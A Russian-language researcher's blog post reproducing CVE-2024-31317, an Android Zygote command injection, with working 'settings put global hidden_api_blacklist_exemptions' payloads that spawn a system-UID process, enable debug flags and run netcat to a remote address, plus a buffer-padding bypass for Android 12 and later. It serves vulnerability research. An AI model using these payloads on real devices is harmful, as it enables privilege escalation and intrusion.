
CVE-2024-31317
На днях я увидел в официальном аккаунте JD анализ уязвимости CVE-2024-31317. Прочитав его, я нашел его довольно интересным. Учитывая, что текущие основные решения для автомобильных систем используют Android и все они находятся в зоне действия этой уязвимости, я решил воспроизвести ее.
Поскольку это повышение привилегий на уровне пользователя, сначала необходимо получить соответствующие права пользователя. В сценарии подключенных автомобилей существуют определенные ограничения: современные основные методы ограничивают установку APK с неизвестной подписью, а также не позволяют напрямую открывать инженерный режим или ADB. Однако в сочетании с другими уязвимостями или методами это всё еще довольно надежно, так как System может делать многое. Также следует отметить, что для этой уязвимости требуется разрешение WRITE_SECURE_SETTINGS. По умолчанию ADB имеет это разрешение, и после получения инженерного режима его можно использовать для повышения привилегий. Если ADB недоступен, потребуется использовать другие уязвимости.
Уязвимость относится к инъекции команд, общий анализ несложен, но перед анализом нужно понять Zygote. Zygote работает как демон, может создавать процессы приложений через fork и принимает команды через UNIX-сокет /dev/socket/zygote. Каждая команда начинается с десятичного числа, за которым следует количество параметров, соответствующее этому числу.
8 [command #1 arg count]
--runtime-args [arg #1: vestigial, needed for process spawn]
--setuid=10266 [arg #2: process UID]
--setgid=10266 [arg #3: process GID]
--target-sdk-version=31 [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread [arg #8: Java entry point]
3 [command #2 arg count]
--set-api-denylist-exemptions [arg #1: special argument, don't spawn process]
LClass1;->method1( [args #2, #3: denylist entries]
LClass1;->field1:
Из diff-файла видно, что изменения заключаются в добавлении комментариев с символами новой строки, что косвенно доказывает, что в старых версиях можно выполнить инъекцию команд через перевод строки для запуска нового процесса.

Проследив вызов этой функции выше, видно, что от самого начала чтения значения HIDDEN_API_BLACKLIST_EXEMPTIONS до всех последующих передач нет никакой фильтрации, то есть мы можем напрямую внедрить произвольные параметры.

Естественно приходит мысль, что если мы сможем контролировать значение HIDDEN_API_BLACKLIST_EXEMPTIONS, то сможем внедрить свои параметры. Как уже упоминалось, для установки этого значения требуется разрешение WRITE_SECURE_SETTINGS. ADB имеет это разрешение по умолчанию, и достаточно выполнить команду через системную утилиту settings: settings put global hidden_api_blacklist_exemptions command. Таким образом, мы можем попытаться внедрить новый процесс, например, так:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
8
--runtime-args
--setuid=1000
--setgid=1000
--nice-name=com.android.settings
--app-data-dir=/data/user/0/com.android.settings
--package-name=com.android.settings
--seinfo=platform:system_app:targetSdkVersion=29:complete
android.app.ActivityThread"
Но, похоже, этого недостаточно, команда все еще не выполняется. При анализе выясняется, что параметр invokeWith позволяет выполнить команду.

После этого все просто: нужно сформировать команду примерно так:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
6
--runtime-args
--setuid=1000
--setgid=1000
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
Однако при этом не происходит срабатывания. Просмотр logcat показывает сообщение, указывающее, что требуется режим отладки. Как же его включить?

Продолжая изучать код, видно, что при запуске существует параметр runtime-flags, который используется для настройки свойств отладки.

Доступные параметры показаны ниже:

Поэтому нам нужно добавить этот параметр при запуске и включить все свойства отладки. Изменённая команда выглядит так:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
7
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=43267
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
После выполнения nc успешно перехватывает сетевой запрос.

На Android 11 и ниже описанный метод работает просто. Однако начиная с Android 12 Google реализовал быстрый парсер команд на C++ для улучшения парсера команд Zygote на Java, используя новый класс NativeCommandBuffer. NativeCommandBuffer после разбора всех команд из командной строки отбрасывает все последующее содержимое и снова читает следующую команду из сокета. То есть, когда мы внедряем две команды, он отбрасывает внедренное содержимое, и инъекция не происходит. В этом случае необходим способ обойти первый вызов read(). В основном используется метод, предложенный автором: вставка большого количества запятых в конец, чтобы maybeSetApiDenylistExemptions() после записи тратила много времени на циклы, увеличивая временной интервал. Основная логика заключается в том, что
maybeSetApiDenylistExemptions() многократно вызывает state.mZygoteOutputWriter.write(), но эти вызовы не отображаются напрямую в записи в сокет, поскольку mZygoteOutputWriter наследуется от BufferedWriter, который перед записью в нижележащий транспорт агрегирует данные во внутреннем буфере. Этот механизм предоставляет готовый способ выполнить две записи в сокет с соответствующей задержкой между ними.
Размер буфера BufferedWriter составляет 8192 байта, что намного меньше буфера Zygote. Просто перед вставкой внедренной вредоносной команды нужно заполнить буфер до 8192 байт, заставляя BufferedWriter сначала записать эти данные.
Эта статья должна была быть написана давно, но я постоянно был занят и забыл 😷. К тому же во время "Чжу Ван" я использовал эту уязвимость, чтобы набрать немало очков. Недавно, выполняя тестовый проект, связанный с Android-автомобильной системой, я вспомнил об этом наполовину написанном блоге и быстро записал то, что еще помню. Также огромное спасибо товарищу Flanker за помощь в воспроизведении этой уязвимости, которая помогла мне избежать множества проблем.